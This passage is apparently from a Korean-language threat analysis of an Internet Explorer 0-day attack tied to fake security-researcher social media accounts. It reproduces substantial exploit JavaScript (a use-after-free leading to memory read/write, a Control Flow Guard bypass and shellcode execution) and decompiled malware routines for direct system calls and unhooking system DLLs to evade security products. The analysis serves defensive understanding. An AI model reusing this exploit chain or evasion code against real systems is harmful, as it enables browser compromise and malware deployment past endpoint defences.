    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
    cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
    cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
    write(Cbase + 76, 1, 32)
    return Cbase
}

function CFGObject(baseAddress) {
    var PEAddr = isPE(baseAddress)
    var eat = PEAddr + 120
    var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
    var size = read(LOAD_CONFIG_DIRECTORY, 32)
    var sizeOfImage = read(PEAddr + 0x50, 32)
    var CFGSymbolTable = new SymTab(0x5c, {
        '___guard_check_icall_fptr': {
            offset: 72,
            size: 32
        }
    })
    
    var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
    this.getCFGAddress = function() {
        return guard_check_icall_fptr_address
    }
    this.getCFGValue = function() {
        if (size < CFGSymbolTable.size()) return false
        var currentCFGValue = read(guard_check_icall_fptr_address, 32)
        var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
        return !isValidAddress;
    }
}

function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}

var cbase = new SymTab(0x60, {
    'pvftable': {
        offset: 0x0,
        size: 32
    },
    'pSecurityContext': {
        offset: 0x44,
        size: 32
    }
})

var cattr = new SymTab(0x32c, {
    '__vtguard': {
        offset: 0x48,
        size: 32
    },
    'SecurityContext': {
        offset: 0xc8,
        size: 32
    },
    'JSBind_TypeId': {
        offset: 0x160,
        size: 32
    },
    'JSBind_InstanceOf': {
        offset: 0x164,
        size: 32
    },
    'normalize': {
        offset: 0x28c,
        size: 32
    }
})

var syntaxObject = new SymTab(0x14, {
    'SyntaxVersion.MajorVersion': {
        offset: 0x10,
        size: 16
    }
})

var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
    'Length': {
        offset: 0,
        size: 32
    },
    'InterfaceId.SyntaxVersion.MajorVersion': {
        offset: 20,
        size: 16
    },
    'TransferSyntax.SyntaxVersion.MajorVersion': {
        offset: 40,
        size: 16
    },
    'DispatchTable': {
        offset: 44,
        size: 32
    },
    'InterpreterInfo': {
        offset: 60,
        size: 32
    },
    'Flags': {
        offset: 64,
        size: 32
    }
})

var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
    'pStubDesc': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
    'ProcString': {
        offset: 8,
        size: 32
    },
    'FmtStringOffset': {
        offset: 12,
        size: 32
    }
})

var _MIDL_STUB_DESC = new SymTab(0x50, {
    'RpcInterfaceInformation': {
        offset: 0,
        size: 32
    },
    'pfnAllocate': {
        offset: 4,
        size: 32
    },
    'pfnFree': {
        offset: 8,
        size: 32
    },
    'pFormatTypes': {
        offset: 32,
        size: 32
    },
    'fCheckBounds': {
        offset: 36,
        size: 32
    },
    'Version': {
        offset: 40,
        size: 32
    },
    'MIDLVersion': {
        offset: 48,
        size: 32
    },
    'mFlags': {
        offset: 64,
        size: 32
    }
})

var RPC_DISPATCH_TABLE = new SymTab(12, {
    'DispatchTableCount': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
})

var _RPC_MESSAGE = new SymTab(0x2c, {
    'Handle': {
        offset: 0,
        size: 32
    },
    'DataRepresentation': {
        offset: 4,
        size: 32
    },
    'Buffer': {
        offset: 8,
        size: 32
    },
    'BufferLength': {
        offset: 12,
        size: 32
    },
    'TransferSyntax': {
        offset: 20,
        size: 32
    },
    'RpcInterfaceInformation': {
        offset: 24,
        size: 32
    },
    'RpcFlags': {
        offset: 40,
        size: 32
    }
})

var god
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)

var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)

var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
alert(result.toString(16))
</script>
</body>
</html>

Shellcode Analysis

쉘코드는 감염 시스템에서 실행 중인 프로세스 목록, 화면 캡처, 네트워크 인터페이스 정보를 C2로 송신하여 감염 대상의 기본 정보를 수집한 후 C2 서버에서 암호화된 추가 악성코드를 메모리에 다운로드 후 실행하는 역할을 합니다.

권한 상승 공격과 주요 악성 행위를 수행할 것으로 예상되는 추가 악성코드는 확보하지 못해 상세한 공격의 의도나 결과를 밝힐 수 없지만 분석 중 확인된 악성코드의 특징은 다음과 같습니다.

Direct System Call

context *__fastcall set_syscall_number(context *ctx)
{
  context *result; // rax
  _PEB *peb; // [rsp+20h] [rbp-18h]
  unsigned int buildNum; // [rsp+28h] [rbp-10h]

  peb = *(getTeb() + 12);
  ctx->NtMapViewOfSection = 0x28;
  ctx->NtUnmapViewOfSection = 0x2A;
  ctx->NtProtectVirtualMemory = 0x50;
  ctx->NtQueryVirtualMemory = 0x23;
  ctx->NtOpenSection = 0x37;
  result = peb->OSBuildNumber;
  buildNum = peb->OSBuildNumber;

  if ( buildNum >= 7600 )
  {
    if ( peb->OSBuildNumber <= 7601u )
    {
      ctx->NtMapViewOfSection = 0x25;
      ctx->NtUnmapViewOfSection = 0x27;
      ctx->NtProtectVirtualMemory = 0x4D;
      ctx->NtQueryVirtualMemory = 0x20;
      result = ctx;
      ctx->NtOpenSection = 0x34;
    }
    else if ( buildNum == 9200 )
    {
      ctx->NtMapViewOfSection = 0x26;
      ctx->NtUnmapViewOfSection = 0x28;
      ctx->NtProtectVirtualMemory = 0x4E;
      ctx->NtQueryVirtualMemory = 0x21;
      result = ctx;
      ctx->NtOpenSection = 0x35;
    }
    else if ( buildNum == 9600 )
    {
      ctx->NtMapViewOfSection = 0x27;
      ctx->NtUnmapViewOfSection = 0x29;
      ctx->NtProtectVirtualMemory = 0x4F;
      ctx->NtQueryVirtualMemory = 0x22;
      result = ctx;
      ctx->NtOpenSection = 0x36;
    }
  }
  return result;
}

코드는 주요 API를 DLL에 구현된 함수를 사용하지 않고 시스템 콜을 직접 호출하는 방법을 사용합니다. 이는 엔드 포인트 보안 제품들의 탐지를 우회하기 위한 시도로 해석됩니다.

Disable User Mode Hook

_BOOL8 __fastcall unhook_system_dlls(context *ctx)
{
  char v2[16]; // [rsp+20h] [rbp-48h] BYREF
  char v3[16]; // [rsp+30h] [rbp-38h] BYREF
  char v4[16]; // [rsp+40h] [rbp-28h] BYREF

  strcpy(v3, "ntdll.dll");
  strcpy(v4, "kernel32.dll");
  strcpy(v2, "kernelbase.dll");
  return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4);
}

“\KnownDlls” 디렉토리에서 주요 시스템 Dll의 원본을 현재 프로세스로 복사하여 유저 모드 훅을 제거합니다. 이 또한 보안 제품을 우회하기 위한 시도로 해석됩니다.

In Process Dll Hiding


32비트 IE 프로세스에서 동작을 시작한 쉘코드는 “splwow64.exe” 프로그램을 실행해 64비트 프로세스에서 악성 행위를 진행합니다. 이때 대상 프로세스에 적재하는 악성코드를 정상 Dll의 시작 주소에서 0x1000 오프셋만큼 떨어진 주소에 위치하도록 하여 프로세스에 맵핑된 Dll을 기준으로 탐지하는 보안 제품을 무력화하기 위한 것으로 보입니다.

Conclusion

이번 공격에서는 주요 소프트웨어의 0Day 취약점을 이용한 것 외에도 공격자가 오랜 기간 보안 연구자로 둔갑한 SNS계정을 준비하고 이를 활용한 것이 특징입니다.

컴퓨터 기술은 해킹 사고의 근본적 원인인 보안 취약점이 발생하지 않도록 발전하고 있으나, 이번 사례와 같이 부주의한 사람의 실수를 대상으로 하는 사이버 공격은 앞으로도 빈번히 발생할 것으로 예상됩니다.

따라서 컴퓨터와 인터넷이 주는 생활의 편의 이면에는 언제나 잠재적인 보안 위협이 존재한다는 사실을 인식하고, 선제적으로 대응하는 것이 현실의 보안 문제에 맞서는 최선의 방안이라고 생각합니다.